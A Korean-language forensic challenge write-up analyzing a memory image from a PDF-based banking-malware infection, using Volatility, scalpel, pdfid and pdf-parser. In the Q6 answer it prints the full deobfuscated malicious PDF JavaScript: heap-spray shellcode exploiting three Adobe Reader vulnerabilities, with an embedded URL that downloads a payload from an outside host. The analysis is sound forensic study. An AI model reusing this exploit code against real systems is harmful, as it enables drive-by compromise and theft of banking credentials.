Q1. List the processes that were running on the victim’s machine. Which process was most likely responsible for the initial exploit? (2pts)

우선 프로세스 리스트는 Volatility (https://www.volatilesystems.com/default/volatility) 를 이용하여 확인할 수 있다. 그리고 배치파일 (http://volatility.googlecode.com/files/vol-Report%28win%29.zip) 을 이용하면 분석하기 편하다. 좀 더 자세한 내용은 http://ykei.egloos.com/5054373 페이지를 참고하기 바란다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


D:\Security Tools\Forensic\Volatility-1.3_Beta>c:\Python27\python.exe volatility pslist -f Bob.vmem
Name Pid PPid Thds Hnds Time
System 4 0 58 573 Thu Jan 01 00:00:00 1970
smss.exe 548 4 3 21 Fri Feb 26 03:34:02 2010
csrss.exe 612 548 12 423 Fri Feb 26 03:34:04 2010
winlogon.exe 644 548 21 521 Fri Feb 26 03:34:04 2010
services.exe 688 644 16 293 Fri Feb 26 03:34:05 2010
lsass.exe 700 644 22 416 Fri Feb 26 03:34:06 2010
vmacthlp.exe 852 688 1 35 Fri Feb 26 03:34:06 2010
svchost.exe 880 688 28 340 Fri Feb 26 03:34:07 2010
svchost.exe 948 688 10 276 Fri Feb 26 03:34:07 2010
svchost.exe 1040 688 83 1515 Fri Feb 26 03:34:07 2010
svchost.exe 1100 688 6 96 Fri Feb 26 03:34:07 2010
svchost.exe 1244 688 19 239 Fri Feb 26 03:34:08 2010
spoolsv.exe 1460 688 11 129 Fri Feb 26 03:34:10 2010
vmtoolsd.exe 1628 688 5 220 Fri Feb 26 03:34:25 2010
VMUpgradeHelper 1836 688 4 108 Fri Feb 26 03:34:34 2010
alg.exe 2024 688 7 130 Fri Feb 26 03:34:35 2010
explorer.exe 1756 1660 14 345 Fri Feb 26 03:34:38 2010
VMwareTray.exe 1108 1756 1 59 Fri Feb 26 03:34:39 2010
VMwareUser.exe 1116 1756 4 179 Fri Feb 26 03:34:39 2010
wscntfy.exe 1132 1040 1 38 Fri Feb 26 03:34:40 2010
msiexec.exe 244 688 5 181 Fri Feb 26 03:46:06 2010
msiexec.exe 452 244 0 -1 Fri Feb 26 03:46:07 2010
wuauclt.exe 440 1040 8 188 Sat Feb 27 19:48:49 2010
wuauclt.exe 232 1040 4 136 Sat Feb 27 19:49:11 2010
firefox.exe 888 1756 9 172 Sat Feb 27 20:11:53 2010
AcroRd32.exe 1752 888 8 184 Sat Feb 27 20:12:23 2010
svchost.exe 1384 688 9 101 Sat Feb 27 20:12:36 2010

추가로 exploit이 실행된 프로세스는 PDF 파일을 연 후 문제가 발생했다고 하였으니 AcroRd32.exe 일 것으로 보인다. 그리고 AcroRd32.exe 프로세스의 PID는 1752 이며 PPID는 888로 firefox.exe 이다.

따라서 Firefox 웹브라우져에서 PDF 파일을 연 후 문제가 발생한 것으로 볼 수 있다.

Q2. List the sockets that were open on the victim’s machine during infection. Are there any suspicious processes that have sockets open? (4pts)

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16


D:\Security Tools\Forensic\Volatility-1.3_Beta>c:\Python27\python.exe volatility connscan2 -f Bob.vmem
Local Address Remote Address Pid
------------------------- ------------------------- ------

192.168.0.176:1176 212.150.164.203:80 888
192.168.0.176:1189 192.168.0.1:9393 1244
192.168.0.176:2869 192.168.0.1:30379 1244
192.168.0.176:2869 192.168.0.1:30380 4
0.0.0.0:0 80.206.204.129:0 0
127.0.0.1:1168 127.0.0.1:1169 888
192.168.0.176:1172 66.249.91.104:80 888
127.0.0.1:1169 127.0.0.1:1168 888
192.168.0.176:1171 66.249.90.104:80 888
192.168.0.176:1178 212.150.164.203:80 1752
192.168.0.176:1184 193.104.22.71:80 880
192.168.0.176:1185 193.104.22.71:80 880

PID가 1752인것을 찾으면 212.150.164.203 이다. 그리고 PID가 888인 Firefox 브라우져에서 역시 212.150.164.203 으로 접근한 기록이 있다.

Q3. List any suspicious URLs that may be in the suspected process’s memory. (2pts)

1

strings Bob.vmem | grep http > output.txt

위 명령어로 output.txt로 저장할 수 있다. 너무 많군 -_-

Q4. Are there any other processes that contain URLs that may point to banking troubles? If so, what are these processes and what are the URLs? (4pts)

위 3번에서 저장한 리스트를 대상으로 아래 명령어로 검색을 하면 아래 결과가 나온다.

1
2
3
4
5
6
7
8


D:\Security Tools\Forensic\Volatility-1.3_Beta>cat output | grep bank
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
Ahttps://onlineeast#.bankofamerica.com/cgi-bin/ias/*/GotoWelcome
.
.
.
[이하 생략]

Q5. Were there any files that were able to be extracted from the initial process? How were these files extracted? (6pts)

우선 volatility 를 이용하여 PID가 1752인 프로세스 덤프를 저장하도록 한다.

1

D:\Security Tools\Forensic\Volatility-1.3_Beta>c:\Python27\python.exe volatility usrdmp_ex_2 -f Bob.vmem -p 1752

저장 후 Scapel을 이용하여 PDF 파일만 추출하도록 conf 파일에 설정 후 추출하면 총 9개의 파일을 추출할 수 있다.

Q6. If there was a file extracted from the initial process, what techniques did it use to perform the exploit? (8pts)

우선 file 명령어를 이용하여 확인하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


D:\Security Tools\Forensic\scalpel-1.60\pdf\pdf-0-0>file *
00000000.pdf: data
00000001.pdf: data
00000002.pdf: PDF document, version .
00000003.pdf: PDF document, version %..
00000004.pdf: PDF document, version 1.5
00000005.pdf: PDF document, version 1.5
00000006.pdf: PDF document, version 1.5
00000007.pdf: PDF document, version 1.4
00000008.pdf: PDF document, version 1.3

4, 5, 6, 7, 8 파일명의 파일만 정상적인 파일로 보이니 해당 파일에 대해 PDFiD (http://blog.didierstevens.com/2009/03/31/pdfid/) 를 이용하여 확인하면 6번 파일에서 javascript를 확인할 수 있다.

6번 파일을 pdf-parser (http://blog.didierstevens.com/programs/pdf-tools/)를 이용하여 확인하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64


D:\Security Tools\Forensic\scalpel-1.60\pdf\pdf-0-0>pdfid.py 00000006.pdf
PDFiD 0.0.10 00000006.pdf
 PDF Header: %PDF-1.5
 obj 113
 endobj 113
 stream 35
 endstream 35
 xref 5
 trailer 5
 startxref 4
 /Page 9
 /Encrypt 1
 /ObjStm 0
 /JS 1
 /JavaScript 1
 /AA 1
 /OpenAction 0
 /AcroForm 0
 /JBIG2Decode 0
 /RichMedia 0
 /Colors > 2^24 0

D:\Security Tools\Forensic\scalpel-1.60\pdf\pdf-0-0>pdf-parser.py --search javascript 00000006.pdf
obj 11 0
 Type:
 Referencing: 1054 0 R
 [(1, '\r\n'), (2, '<<'), (2, '/S'), (2, '/JavaScript'), (2, '/JS'), (1, ' '), (3, '1054'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '>>'), (1, '\r\n')]

 <<
 /S /JavaScript
 /JS 1054 0 R
 >>

D:\Security Tools\Forensic\scalpel-1.60\pdf\pdf-0-0>pdf-parser.py -o 11 00000006.pdf
obj 11 0
 Type:
 Referencing:
 [(1, '\r'), (3, '0'), (1, ' \r')]

obj 11 0
 Type:
 Referencing: 1054 0 R
 [(1, '\r\n'), (2, '<<'), (2, '/S'), (2, '/JavaScript'), (2, '/JS'), (1, ' '), (3, '1054'), (1, ' '), (3, '0'), (1, ' '), (3, 'R'), (2, '>>'), (1, '\r\n')]

 <<
 /S /JavaScript
 /JS 1054 0 R
 >>

D:\Security Tools\Forensic\scalpel-1.60\pdf\pdf-0-0>pdf-parser.py -o 1054 --raw --filter 00000006.pdf
obj 1054 0
 Type:
 Referencing:
 Contains stream

<</Length 0000/Filter [/F#6c#61#74e#44e#63#6fde/#41#53#43II#38#35#44#65#63#6fd#65]>>

 <<
 /Length 0000
 /Filter [
 /FlateDecode /ASCII85Decode]
 >>

var xtdxJYVm='0111100000101011000001110010111100100001001101110001111100011011001011110100111100100101001100000001000100100111000000100110100100000011000111100011111100101001001011000100001000000011000011010000001100111000001000110100100000101100000110000001000000101110001110010000001001011001000111000001100100100010000111110000001001011101000000000001111100110111001001010010011000100010011011110111111001001011001010010011001000101111001100100010110101100110001010110011101100110011001110010000000000001101011110000111100000010100001100100011100000000011000010110110100000010100011011000011011100101011000110100011101100000101001110010111000100000010000000100010100000000011001100110100010000111100001001000000011000001011001000010010000100100011000000000001011001001111011110110101011000100001001011100001010000100101001110000110100001110100010001010111100100110001010110000011001000111000001110110010011000000011001100000000001100011010010100010000000100100010000110000011011000011110010011110111101000111000000001100010110100010101011000010010111100100010000011000001110100101000010001000011110000001111001111000110110101001001000010100001101100100110010100100101100101001011001101000001010001110111001101110100011001111101000101100000110001110110010110010100111001000000001110010000010101111110000100100110010101011001000010010010001001011010011010010101111100101011000100100000001001010111000110000100100000101110000100000011110001001001000101000110110101100000001010100000010101010100001100010010110100101110001110010000110001100000010011100101110101110100001101100001111001001000010011100001011100010000000101010001001101000110011101100110100000001010000100000001100101011101001001110101001001001110001101000001010001101111001000000110001101110111000111010011001001011110010110110101100100010110001010100001011001010000001100010100011000010010000010010001001101110011000000100111010101011010001101010000011000011101011001000000101001110101000010110010011100010010011111110101110100111011001100010001001100110111000001110101100100010100000001000011100101011001000100110000110000011011001111110010010001111111010001010111111000100010000010010000000100100100001011110101000001011110001010110010010001001100011110100111101101000011000010000001001001100111011100000110000001110001000100100001100001000001011110000100110001011110000001100000011101011111010001000110000000001101001110100000110001010010000001110110000000101001001110100011111001010000011100100111101101010111000101010000001101111011010101000111110001000000001100110001111001010100011100000010100101000101000011100001001001001110010011110111110000100110001001010001111101100110010111100101100101000111001010000001100101100000010010110011110001100111000010010000010001001100010010100010111001101000001110010010111101010001010000010101101001011101000110010001011101111000010110000010100000010111001100100011110101100101010111010001010000010010001011100000001100100011001100000101011000101111001110100001101001111101010000000100001101011011001101110001110100110100011110110101111101111011000111010010011101111110010010000111101101110111000111100001001000001011000100010010000001111100001101000001100101110010011111000111001000000010000110110010110001011000011111100001010000101100001101000010111100010100001011110010001000000011001101000010011001011000000100110101010001110100001010100000111101000001011111000000001001010100001110100001010001000111000101100010111101010100001100000001100101010010011001100111100100100000001100000011000101010001010110010110010101110101001101100011010001100001011111100011011101011100001001000011111001011101001100000101110000101000000011000011000001111001000000000111000101010010000110010010011001111111000110010100011001000001001010010000111100110101011111010101011101110010000100000011101001100010011000000100101100111010000010000001110101010011010101110110111000111011000101010001010001101100001101110010101101100010000110010011101101010001010101010101111000010111000111010011011001111001000100100001100101111100000011000010000101000110011100000100001000101011001111010010111101010110011000000100001101111001000011110001111001110001010101110011100001011101001100100001110101001000000000100011100100000101000111100011000100101101010000010110011000110010000100100010010000000111001011010010101001100001000101100010011000001111000001000010110100101110000110010001100000110100010001100110011001010011000011000010011100000011011011100110101100010101001100110011110000000011000001100001111101010101001100000011011100100101011101100100110100100000001011110000011001110111000000110100011101101111000011000000001001100111010111010111110001111000000100100001101101111001011011100010011100010100000010000001011001011011011000010110000001110010000110000011101100110110011100010001011100101111000100010010110001110010000110000111010100111011001011000010001001000001010010110000001101011110000011100011011001100110011101010100110101001010001010010001101101000100001000010111010000101000001110110000010101001110011001110110001100110010000100110010110101001111010001100111001101111011001010110000011101100001000110110100001101111001000011100010000001001101011101100100000000101101001100100010110001010010001010000011011001101111001100100010001001000011001010100101000000001101001110110010010000111100000111110001011000000110000011010011000001011000011100100100010001110000001001000000000101110010011100100110111101000110001001010011001100010011011111100100010101000110001101100000011101100001011110110100110001110001001100110011111101001111000010100101100001000111001001010001010001111110010100000100011001001100001101010010110000010010010000000100111001100011001111010001001101111100010001110101011000001101001011000011011101101001011101000011011001010011000110100000000001101101011001110111111001111111001001000000011001001010011110100010010101101101000101000001010001111110000000110101111000010001001010110000000100101001000101000111101001010101000101010001100101010100010011100101000101110110001111010000000001000011011111000110011100010100000101100001101001100111011001100011111000000010001101000001000100110101010100110100010001001100001101000011110100001110001011000100101101001100001010000001101101111111001011110101001000101000000110010001001101011000010110100011001100110010000100010001100001001111011101010111011101110011001100000011001100010100001001110011000001010101000100110011110100100111010001010010001000010111000010100010011100111100000000000101100101100000000001100000001101110001011110010101001001100000001010000000110001100011011111000101001101011011000100110001011001000110010010010100011101110000000110100011010001100010001011110110101100110100000110010010111101111101011010100111111000101100001100100001100101100000010110010100010001000011000011000011111101011000010100010111010001000100001001000011001001110100000001010111100001110111000110100001100001011100010011110111100100010011001001100011011101011001010000000101101001100000000101000001010001101101011101110110011100000001000100110010001101110011001101110101110100110001000101000011000101100111000010000101000001110010000110000001010001011101011101110111101101010100000010100000011001110101010110110110000100000111001100010001101101101111001000110101101100110010000011100010001001100010000011010110000000010110000010100011000001010011010001000110001100110111001111110011001001110110000010110100011101111000000010000001101101000010011011010101111001100101001101010001110001001010001011000101011001011011000001100010111101010100000001110100011101001000000110010011011101111000010110000110010101100110000101010001001001000110011110100110000001111110000010010010010001000000011011000110000100000011000111100010000001110110010001000111100100111111000100110000111101011101011001100111101001110110000001010011001101101100010110110111100100101111000111100000000001100000010001110101100001100111001010000000111101100000011000010110000101101101001100000001100101100001000100100110011001100110001100000010001101001101010111110111111000110101000110110000010101000101010111000111001101011111001010100001100001000010010100010101111001110100000110100011001001000000010110100110000000110110000100000001110101101110011000110101110001011001001100110011000101011000010001000111011000101011001110000011100001000000010110010111011101100000010100100111101001011000011000010101001001000001011001000100010101001100011011000111100101000101011011110100101001110010010011100101100001011110011010010110100001100101011000010100101001010101011001110110010001010000010101100110011101000010010100110110000001000100011100100110010001100011011001110101111101101001000111010011001100110000011100110001111000111001000110110011101000001111010010100100101101110100010111100111000001101000011101000111001001111111011100110100101100000010001000100011110101101100000111110001001100010001000100010000111101001100001110010000110001111001001000110011011000011101010100110000011100011111001111110001000000010101011001110111110001110011011011000111110001001001011101010110011001011010001001000001011000001010010100100000110100000001000001110000101000101111010101110000110100111001001010100011101100101010010000100001101000011100000000100001000000111001001001010100001001011100011011100001000000010000000101010110101000001010000010110001100000111000000000110101100100101111001111100011011100010001000001100111100001100111001111000000000000110100001101010000100001000110011100110000000001100110011011000111100001111101001100010001001100000101010101100000000100110011001010100000010100100101010011000010000000010110000110000110001001110010001010100000010001001111010111010111100001111010001110100011100001101011011001010101001001110110011101000110101101111100000111100001100100000011000110010011111101001111001110000000101100010001001110000010010001101110001101100010111000111110001000110011110001100000000100010001111100011101000001110011001001000111011111000000001000110110001001010101010100011000000000100001110000110000000101010110101001100101000001100011000100011111000101010000011101110111011100010101011101001111010000000101011101101001010111010110010101000011001010110010010000111011001001110010111101111100000000000011111000111101010111100001101100100010001111000101010100000011000001110000010000100011001111110110010001010101011010110011010100000000000010010000010000110010010101110001101000001111000100000000011000100000010101000010110100010110001001110010110000001111011110010100000101100001000101000011111100000010001011010001101100101100000010010010001000010111001000010001100000001001001011000100101100110000000000100011011100101110001110100110111000110010000110110000001000100100001000010111110100011110011011000000001000000110000000100110111000100001000110010010100100000101000001010110100000100101001010010011110101011000010000000010101100110100010111010011011101000100001000010001000100110111010111100010010001010110000010100110011101000000010100000000011000001100000110110010101000100010010001100001011000000000001011100000001100001000011000100011111100000011000101000000001000101101000010100101101001110010011110100101011001010001010101010101111100101011001111110011111000100001000001110101001101101011000001000000011100100000001111110011111101010011001000100011111100101101001101110100110000101111000001110001010000011001000011100010110000011010000001000000000000110011000011110111011100010001001101100010111000111001001000100010111101001011000001000011110100011000000110000000011000000100001100100001110100000010000011100011110000100100000110010001110000000001000000100100010000101111000100000011101000000101001110000101000101010010011010110101010100100100001001010001010101010010000101100010011000001010000000100000101100100111010100010101010100110011011100000000000000011000000000000010000000110111000000000001100100101111011101010001011100010101001111010110101001011100000000100001111100001010001001000111010100110001001100100010101101100101000011110001000100111101011101100000110000111001001010000010100000101011011011110111111001111001000100010001101000000100000000010001110100011100001000110001111101010011000101100001011000011000011000010011101000100011000000010101101100100010000111010010000101101111001011100011110000000110001110000010101000111111010110100011100000001100000011000111100000001000001111110001100100000001000001000011110001110000010110010100101100100010000001010000000001000110001010010010100000110001001011000110110001000111001000110000010000011000011110010010110001010011001011010011111100101000011001010011011100000101001010010100001100101001001101000011010100010101000000100001100000001111001110000011111001110000011111100110000000001010000010110010110001001000010101110110101101010000000110110001111100100100001101110001001100000100011001110000101100111111001001100110000100101101011001010000000100100000000001010101000001001010000010110110011001100011011010110111011101000011010010000111010001010010011111010011111100111000001001100111111100111100001010000011001101111001010100000010110000100001000110100111111101010110011101100001101100100010010000000000011001000001010110000000100100011001010000110111101001010101010001100011001000000000010001000000110001011010011101100001001100010011010111110110010001000001001010100010111000011100011000100011001101001010001110110000101100111100011101110000111101111110011001100011111000011100011100000010010100011011000000010000111000110110010101100101001001010001010111000011011100111001010000100110100100010011000101000010111000001111011100010101110101110001000000010001010100111100011000100011010101011100010000000000100000100000010011110001001101000111011000000011001000111111011110010111010001101101001100000000111000000010010001100010110001100111001101010000100000011101010100100001000101110111011001000001011100111010000100110101101000101000011110010000011000111000001001100111000001111100001000000010110100101111001101010000110101101001001110000011111100110110010111000011011000011111000010000000111100011001011111110101000001110110001110000011011100111001001000010000101001001100010001100011111100100011011000010100100101000101011110010011011100110000011001110111110101111101011111000011100000011110010111100101110001110100011111110010101100111000011110000101111001110110000011110000101100111000010101110010000001101011000001000011010100001101011110110111010101000000010110100011010000100000011000100110000101110101010010010000111100111101011111000101111000101100010000110001011000000101010110000111010101110010001001110001000100011100011000100101000101011001011001110011101100111011011100010110001100001100011000100011111100100101010001110111010100001100011000110000011000111010011001000100011101101100010111000000110000100111010101000111000000000101001111010000110100010010010001010110000000100011001100000001111100011111000101110010111101101000000111100010111000000011010100010100010001010011011001110010110000111000000010000111100101111111011101000000111000011000010000000110000001000110011000110001101100110100001100010001110000010010010101000010110100101100010111100111100101110010000101100010110100101100011100000111111100001110000101100000100100110100000000010011000000101001000100010010111100111110010101000010001101011100010000010001100000100011011001100111000100110000010101000001110100011100011111110011011100110100010000000001101000111000010100110111101101000001001010000011011100010000010100010100011101101011011001100000010000110110010100100101110000100001011111110000100000000011011100100010011101001011001110000011011000110001011010110000110001111001011111000011100000100110011100100000111001100101010001110000101000010110001101110100000101011100011000100010101000111000010100010111111001110110001010100011111100001100010111000100101001001000000001000011000000000000011111100001011100000010010101000010101100010001010110000110001001100011001100010011110100110100011101110010101100101101011000110000011000000001010001110111011101011111000010000010100100101101010101110111111101110010011011110000110100111111010001110100101000000111010011100000010000110111011011010011000100001011000101000001011000110000001100010111010101100011000001110001001100011000000010000000110000001010010110100010100000010010001011100011011000101110001010000000101100100001000010000110011001001001010101000011101000110001001001010101001001000000001110100011111100011111000011110000000100011111011110100001111100101101001001010111110101110101000010110001001000011100010000110000101101111110010000100011100000101111011100100110101101011101011001100000110000111110010001100100111000010111001000010011111000011011011111110111011101011110010011000000100000000111001000000101011000100011000110110010111100101101011011010001001101111001001011010010110000000111010110100100000100000010011111010010101000100110010111010111000101000000011010100010111000111100011000110000010001110101001000110011101100110010010110100101000101010111001111000001101100101111011100010101100101000100011111010011010100100001011110100000000001011100011100010001011000001100010000010100001101011001000101110000111000000001011111100011011000001111011011110001111100110010011101010001010001100011001100000001011100011010001111100011000000100110000011100001100100010010010111100101100001111011011110100011011000000010011011000111100001101111011111010011000100100011000001100111101001110101010101110011010000010011011100100101111101111011011001100010100000100000011011000000100001001111010110110000101100011011010001100100111001000001011110000001101100010001001100010101101001111110011111000011100100010110011010010101100101111101001001000011101100111011010111110101100000011011011100000000010000011111011100000111110101000011011100010001101100110111011101110111011100100011011101100000010100111111011100110000001101010101000011000000011000111110001100100001010001100100010000100011000100000010010101000101000101011110010000010000100100110110010100000111111001110111001100110001000000010110010100100110001000000000000100100001101100010110000101010111100101100111010101010000101000100101000101110000010001001110010011000000101100011001010100100010101001101110000110110000111100101111010110000100001000111110000000110001000100101101011000110100011101011111010001000010010000111010001111110010110000000011011000010000011000110110000100100100011100010011001000000001100100100111000101100000110001110000010010000000011000100101011010000111101101110010011101000010101000000111010011010100010001110111010111010000111000011111010110000110011001000110011011100001011000110010010101110010100101001011001100000

위 코드를 풀면 아래와 같이 나온다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20


function OzWJi(rzRoI,fxLUb){while(rzRoI.length*2<fxLUb){rzRoI+=rzRoI;}
return rzRoI.substring(0,fxLUb/2);}
function bSuTN(){var Uueqk=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u323D\u0000%25%30%25%30%25%30%25%30%25%30%25%30");var HWXsi=202116108;var ZkzwV=[];var HsVTm=4194304;var EgAxi=Uueqk.length*2;var fxLUb=HsVTm-(EgAxi+0x38);var rzRoI=sly("\u9090\u9090");rzRoI=OzWJi(rzRoI,fxLUb);var tfFQG=(HWXsi-4194304)/HsVTm;for(var gtqHE=0;gtqHE<tfFQG;gtqHE++){ZkzwV[gtqHE]=rzRoI+Uueqk;}
var eHmqR=sly("\u0c0c\u0c0c");while(eHmqR.length<44952)eHmqR+=eHmqR;this.collabStore=Collab.collectEmailInfo({subj:"",msg:eHmqR});}
function Soy(){var dwl=new Array();function ppu(BtM,dqO){while(BtM.length*2<dqO){BtM+=BtM;}
BtM=BtM.substring(0,dqO/2);return BtM;}
XrS=0x30303030;HRb=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u313D\u0000\u0000%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26%23%26");var jxU=4194304;var RaR=HRb.length*2;var dqO=jxU-(RaR+0x38);var BtM=sly("\u9090\u9090");BtM=ppu(BtM,dqO);var JYD=(XrS-4194304)/jxU;for(var Prn=0;Prn<JYD;Prn++){dwl[Prn]=BtM+HRb;}
var IdI="66055447950636260127";for(sly=0;sly<138*2;sly++){IdI+="3";}
util.printf("%45000f",IdI);}
function ynu(shG)
{shG=shG.replace(/[\+1]/g,"0");shG=shG.replace(/[\+2]/g,"9");shG=shG.replace(/[\+3]/g,"8");shG=shG.replace(/[\+4]/g,"7");shG=shG.replace(/[\+5]/g,"6");shG=shG.replace(/[\+6]/g,"5");shG=shG.replace(/[\+7]/g,"4");shG=shG.replace(/[\+8]/g,"3");shG=shG.replace(/[\+9]/g,"2");shG=shG.replace(/[\+0]/g,"1");return shG;}
function XiIHG(){var cqcNr=sly("\uC033\u8B64\u3040\u0C78\u408B\u8B0C\u1C70\u8BAD\u0858\u09EB\u408B\u8D34\u7C40\u588B\u6A3C\u5A44\uE2D1\uE22B\uEC8B\u4FEB\u525A\uEA83\u8956\u0455\u5756\u738B\u8B3C\u3374\u0378\u56F3\u768B\u0320\u33F3\u49C9\u4150\u33AD\u36FF\uBE0F\u0314\uF238\u0874\uCFC1\u030D\u40FA\uEFEB\u3B58\u75F8\u5EE5\u468B\u0324\u66C3\u0C8B\u8B48\u1C56\uD303\u048B\u038A\u5FC3\u505E\u8DC3\u087D\u5257\u33B8\u8ACA\uE85B\uFFA2\uFFFF\uC032\uF78B\uAEF2\uB84F\u2E65\u7865\u66AB\u6698\uB0AB\u8A6C\u98E0\u6850\u6E6F\u642E\u7568\u6C72\u546D\u8EB8\u0E4E\uFFEC\u0455\u5093\uC033\u5050\u8B56\u0455\uC283\u837F\u31C2\u5052\u36B8\u2F1A\uFF70\u0455\u335B\u57FF\uB856\uFE98\u0E8A\u55FF\u5704\uEFB8\uE0CE\uFF60\u0455\u7468\u7074\u2F3A\u732F\u6165\u6372\u2D68\u656E\u7774\u726F\u2D6B\u6C70\u7375\u632E\u6D6F\u6C2F\u616F\u2E64\u6870\u3F70\u3D61\u2661\u7473\u493D\u746E\u7265\u656E\u2074\u7845\u6C70\u726F\u7265\u3620\u302E\u6526\u333D\u0000\u1334\u1334");dPl=sly("\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090\u9090")+cqcNr;FQI=sly("\u9090\u9090");fhT=5*2;sLa=fhT+dPl.length;while(FQI.length<sLa)FQI+=FQI;NJn=FQI.substring(0,sLa);eUq=FQI.substring(0,FQI.length-sLa);while(eUq.length+sLa<0x40000)eUq=eUq+eUq+NJn;Cwy=[];for(XWT=0;XWT<180;XWT++)Cwy[XWT]=eUq+dPl;var kKG=4012;var LwZ=Array(kKG);for(XWT=0;XWT<kKG;XWT++)
{LwZ[XWT]=sly("\u000a\u000a\u000a\u000a");}
Collab.getIcon(LwZ+"_N.bundle");}
var sly=unescape,ZgA=app.viewerVersion.toString(),TjP=this;if(ZgA<8)
{bSuTN();}
if(ZgA>=8&&ZgA<9)
{Soy();}
if(ZgA<=9)
{XiIHG();}

Adobe Reader 버전이 8보다 작으면 아래 취약점을 이용한다. bSuTN() : Collab.collectEmailInfo / CVE-2007-5659

Adobe Reader 버전이 8 이거나 8보다 크고 9보다 작을 경우 아래 취약점을 이용한다. Soy() : util.printf / CVE-2008-2992

Adobe Reader 버전이 9 이거나 9보다 작을 경우 아래 취약점을 이용한다. XiIHG() : Collab.getIcon / CVE-2009-0927

추가로 최종적으로 연결하는 URL은 아래와 같다. http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=x

Q7. List suspicious files that were loaded by any processes on the victim’s machine. From this information, what was a possible payload of the initial exploit be that would be affecting the victim’s bank account? (2pts)

3번에서 저장한 output 파일을 이용하여 위 Exploit 코드에서 접근하는 URL을 검색하면 아래와 같다.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


D:\Security Tools\Forensic\Volatility-1.3_Beta>cat output | grep search-network
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0
http://search-network-plus.com/favicon.ico
http://search-network-plus.com/cache/PDF.php?st=Internet%20Explorer%206.0
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=1
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
http://search-network-plus.com/load.php?a=a&st=Internet Explorer 6.0&e=2
.
.
[생략]

